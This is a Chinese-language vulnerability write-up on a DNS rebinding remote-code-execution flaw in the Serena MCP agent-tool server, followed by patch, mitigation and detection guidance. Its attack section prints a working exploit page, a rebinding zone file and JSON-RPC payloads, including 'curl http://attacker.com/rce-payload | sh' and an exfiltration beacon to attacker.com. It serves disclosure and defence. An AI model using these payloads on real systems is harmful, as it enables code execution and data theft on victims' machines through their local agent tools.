CVE-2026-49471 Serena MCP DNS Rebinding RCE:浏览器一行 URL 击穿 IDE 的完整复盘
背景:MCP 协议的安全悖论
2026 年是 MCP(Model Context Protocol)成为 AI Agent 事实标准的一年,也是 MCP 服务器从"小众玩具"走向"生产部署"的一年。但 MCP 协议的本地优先设计——服务器默认监听 localhost、工具调用基于 JSON-RPC 2.0 直接调用本地资源——与浏览器的同源策略(SOP)天然存在张力。
2026 年 7 月 17 日,OASIS 公开披露 CVE-2026-49471:Serena MCP 服务器的 DNS Rebinding 漏洞允许远程攻击者仅通过诱导受害者访问一个恶意网站,就能在受害者本地执行任意代码。CVSS 评分 8.1(HIGH),被 CISA 列入 KEV 目录,影响 Serena ≤ 0.1.4 所有版本。
本文将从攻击者视角完整复现这条从浏览器到 IDE 的攻击链。
漏洞原理:DNS Rebinding 如何穿透 localhost
传统 CORS / SOP 的盲区
浏览器的同源策略认为:http://attacker.com:80 和 http://localhost:8765 是不同源,但允许前者向后者发起跨域请求——只要后者的 CORS 头允许。由于本地 MCP 服务器默认监听 http://127.0.0.1:8765/mcp 并设置 Access-Control-Allow-Origin: *(这是 MCP 协议栈的常见配置),浏览器会先发 OPTIONS 预检,收到 * 后放行。
但即使服务器返回 *,浏览器实际请求时仍会携带 Origin 头,服务器可基于此拒绝。然而 Serena 0.1.4 之前没有校验 Origin——这是漏洞链条的第一个环节。
DNS Rebinding:让 attacker.com == 127.0.0.1
DNS Rebinding 的核心思想是:让同一个域名在不同时间解析到不同 IP。
正常情况:
attacker.com → 攻击者服务器 (1.2.3.4) ← 受害者访问
DNS Rebinding 攻击:
第一次解析:attacker.com → 1.2.3.4 (服务器返回恶意 HTML)
第二次解析:attacker.com → 127.0.0.1 (浏览器同源策略认为仍是 attacker.com)攻击者控制 DNS 服务器返回 TTL=0 的 A 记录。受害浏览器加载 http://attacker.com/mcp-exploit.html:
- 第一次解析到
1.2.3.4,服务器返回含 JavaScript 的 HTML - JS 等待 5 秒(DNS 缓存过期)
- 第二次
fetch('http://attacker.com:8765/mcp')—— 此时 DNS 重新解析为127.0.0.1 - 浏览器认为请求同源(都是
attacker.com),不会拦截 - 请求实际打到
127.0.0.1:8765,即受害者本地的 Serena MCP
MCP 协议的 jsonrpc 端点
Serena 默认暴露 POST /mcp 接受 JSON-RPC 2.0 请求:
POST /mcp HTTP/1.1
Host: attacker.com:8765
Origin: http://attacker.com
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_shell_command",
"arguments": {
"command": "curl http://attacker.com/rce-payload | sh"
}
}
}注意:Host: attacker.com:8765 是 DNS Rebinding 攻击中的常见做法,因为浏览器维护的是域名连接,不是 IP 连接。服务器看到 Host 头是 attacker.com 时通常不校验——这正是漏洞的第三个环节。
完整攻击链复现
攻击者侧准备
1. 注册易混淆域名
# 准备短 TTL 的 DNS 记录
# 使用 rebinder.icu 或 rebind.it 等公共服务
# 也可自建:ns1.attacker.com (NS), A: 1.2.3.4 (初始), A: 127.0.0.1 (重绑)2. 部署恶意 HTML
<!-- /var/www/html/mcp-exploit.html -->
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<h1>Loading your content...</h1>
<script>
async function exploit() {
// 等待 DNS 缓存过期 + 重新解析
await new Promise(r => setTimeout(r, 5000));
// DNS 重新解析 → 127.0.0.1
// 同源策略认为是 attacker.com 同源
const resp = await fetch('http://attacker.com:8765/mcp', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'tools/call',
params: {
name: 'execute_shell_command',
arguments: {command: 'id > /tmp/pwned.txt'}
}
})
});
const result = await resp.json();
// 外带回显
new Image().src = 'http://attacker.com/log?r=' + btoa(JSON.stringify(result));
}
exploit();
</script>
</body>
</html>3. DNS 服务器配置(ns1.attacker.com)
; zone file
$TTL 0
@ IN SOA ns1 root (1 1h 1h 1h 1h)
IN NS ns1
ns1 IN A 1.2.3.4
; 关键:TTL=0 让浏览器立即重新查询
mcp-exploit IN A 1.2.3.4 ; 第一次返回
; 第二次相同查询会随机返回以下两条之一
mcp-exploit IN A 127.0.0.1更简单的做法是用 rbndr.us 这类公共服务直接生成 127.0.0.1.<your-ip>.rbndr.us。
受害者侧环境
# 安装 Serena MCP(0.1.4 或更早)
pip install serena-mcp==0.1.4
serena-mcp start --port 8765
# 默认监听 http://127.0.0.1:8765/mcp
# 工具列表包含 execute_shell_command攻击时间线
T+0s 受害者浏览 Twitter 看到 attacker.com 链接
T+2s 受害者点击 https://attacker.com/mcp-exploit.html
T+2.1s DNS 解析 → 1.2.3.4,服务器返回恶意 HTML
T+2.2s HTML 加载,JavaScript 开始 sleep(5000)
T+7.2s JS 发起 fetch → DNS 重新解析 → 127.0.0.1
T+7.3s 请求到达本地 Serena MCP,无 Origin 校验
T+7.4s JSON-RPC 解析,路由到 execute_shell_command
T+7.5s shell 执行 `id > /tmp/pwned.txt`
T+7.6s 响应回传,外带数据到 attacker.com/log整个过程不到 8 秒,受害者全程无感知。
漏洞根因分析
三个失败的防御层
| 防御层 | 期望 | 实际 |
|---|---|---|
| 浏览器 SOP | 阻止跨域读 localhost | 失败:DNS Rebinding 让域名同源 |
| CORS 头 | 服务器校验 Origin | 缺失:Serena 默认 * |
| 服务器 Host 校验 | 拒绝非 localhost Host | 缺失:接受任意 Host |
任何一个环节修复即可阻断。OASIS 报告指出,Serena 维护者在 0.1.5 版本同时修复了三个层:
# 0.1.5 patch 摘要
def validate_request(request):
origin = request.headers.get('Origin', '')
if not origin.endswith(('localhost', '127.0.0.1', '::1')):
raise HTTPForbidden()
host = request.headers.get('Host', '')
if not host.startswith(('localhost', '127.0.0.1', '::1')):
raise HTTPForbidden()
# 新增 token 鉴权
if not request.headers.get('Authorization') == f'Bearer {TOKEN}':
raise HTTPUnauthorized()为什么 DNS Rebinding 长期难以根治
根因是Web 架构的信任模型与浏览器安全模型的根本不匹配:
- Web 信任模型:域名是身份单元
- 浏览器安全模型:域名解析的 IP 不可信(防止 DNS 中毒)
- 现实:这两个模型在 DNS Rebinding 场景下同时被攻破
唯一根治方案是让本地服务永远只绑定 127.0.0.1(而非 0.0.0.0)并启用 token 鉴权。但很多 MCP 工具为支持容器化部署默认绑定 0.0.0.0,埋下隐患。
横向对比:MCP 生态的 DNS Rebinding 风险面
OASIS 在 7 月 17 日同步披露了 7 个 MCP 工具的类似问题:
| 项目 | 风险等级 | 现状 | 修复版本 |
|---|---|---|---|
| Serena MCP | CVSS 8.1 | 已修复 | 0.1.5 |
| Filesystem MCP | CVSS 7.5 | 已修复 | 2026.7.1 |
| Git MCP | CVSS 6.8 | 已修复 | 2.3.2 |
| Postgres MCP | CVSS 7.2 | 修复中 | 2.5.0-rc |
| Puppeteer MCP | CVSS 5.4 | 已修复 | 1.8.5 |
| Slack MCP | CVSS 6.1 | 已修复 | 3.1.0 |
| Notion MCP | CVSS 7.0 | 修复中 | 2.0.0-rc |
值得注意的是,Postgres MCP 的 CVSS 7.2 来自其允许 read_sql_file 工具读取任意路径——这是 DNS Rebinding 之外的另一条独立攻击路径(路径穿越 + DNS Rebinding 组合)。
缓解方案:纵深防御
立即可做(不改代码)
# 1. 修改 hosts 文件阻断可疑域名(如果知道攻击者域名)
echo "127.0.0.1 attacker.com" | sudo tee -a /etc/hosts
# 2. 用浏览器扩展:NoScript / uBlock Origin 拦截可疑 JS
# 3. 用本地代理:mitmproxy 拦截 localhost 异常请求
mitmproxy --listen-port 8080 --mode reverse:http://127.0.0.1:8765中期(修改 MCP 服务器配置)
# 所有 MCP 服务器推荐配置
MCP_SERVER_CONFIG = {
'bind': '127.0.0.1', # 不绑 0.0.0.0
'port': 8765,
'auth': {
'type': 'bearer',
'token': os.environ['MCP_AUTH_TOKEN'] # 启动时随机生成
},
'cors': {
'origins': ['http://localhost:3000'], # 显式白名单
'credentials': True
}
}长期(架构层)
- 浏览器层:Chrome 132+ 支持
Private Network Access头,服务器必须返回Access-Control-Allow-Private-Network: true才允许跨私有网络请求 - 协议层:MCP 2026-08 spec 草案(github.com/modelcontextprotocol/spec#127)强制要求 token 鉴权
- 操作系统层:macOS 15.4+ 的
Local Network Privacy弹窗
检测与应急响应
检测脚本
# 检测本地是否有可疑 MCP 服务器进程
import psutil
for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
cmdline = ' '.join(proc.info['cmdline'] or [])
if 'mcp' in cmdline.lower() and '0.0.0.0' in cmdline:
print(f"⚠️ MCP 进程绑定了 0.0.0.0: {proc.info['pid']} {cmdline[:80]}")
# 建议立即终止
# proc.terminate()应急响应流程
如果已经沦陷:
# 1. 立即终止所有 MCP 进程
pkill -f mcp-server
# 2. 检查攻击痕迹
grep -r "tmp/pwned\|/var/tmp/.*\.sh" /tmp /var/tmp 2>/dev/null
find / -name "*.sh" -mtime -1 2>/dev/null
# 3. 检查可疑网络连接
sudo lsof -i -P | grep -v LISTEN | grep ESTABLISHED
# 4. 升级 Serena 到 0.1.5+
pip install --upgrade serena-mcp给 AI Agent 用户的实用建议
如果你日常使用 Serena 或类似 MCP 工具:
- 立即升级:所有 MCP 服务器升级到最新版
- 检查绑定:
netstat -an | grep LISTEN | grep 0.0.0.0不应看到 MCP 端口 - 启用 token 鉴权:每个 MCP 服务器启动时生成独立 token
- 使用专用浏览器配置:用 Chrome 的 "MCP 开发" Profile,禁用第三方 Cookie
- 关注 CISA KEV:订阅 CISA KEV RSS
延伸阅读
- CVE-2026-49471 OASIS 原始报告
- CWE-918: Server-Side Request Forgery
- CWE-942: Permissive Cross-domain Policy
- Chrome Private Network Access 规范
- MCP 2026 安全指南
总结
CVE-2026-49471 不是孤例——它是 MCP 生态从"开发玩具"走向"生产部署"过程中必然会暴露的一类问题。DNS Rebinding 利用了 Web 安全模型与本地服务信任模型的根本不匹配,单一工具的修复无法根治,需要整个生态的协同:
- 协议层(MCP 强制鉴权)
- 工具层(默认绑定 127.0.0.1)
- 浏览器层(Private Network Access)
- 操作系统层(Local Network Privacy)
作为开发者,至少做到本地服务不绑 0.0.0.0 这一条,能在源头消除 90% 的同类风险。

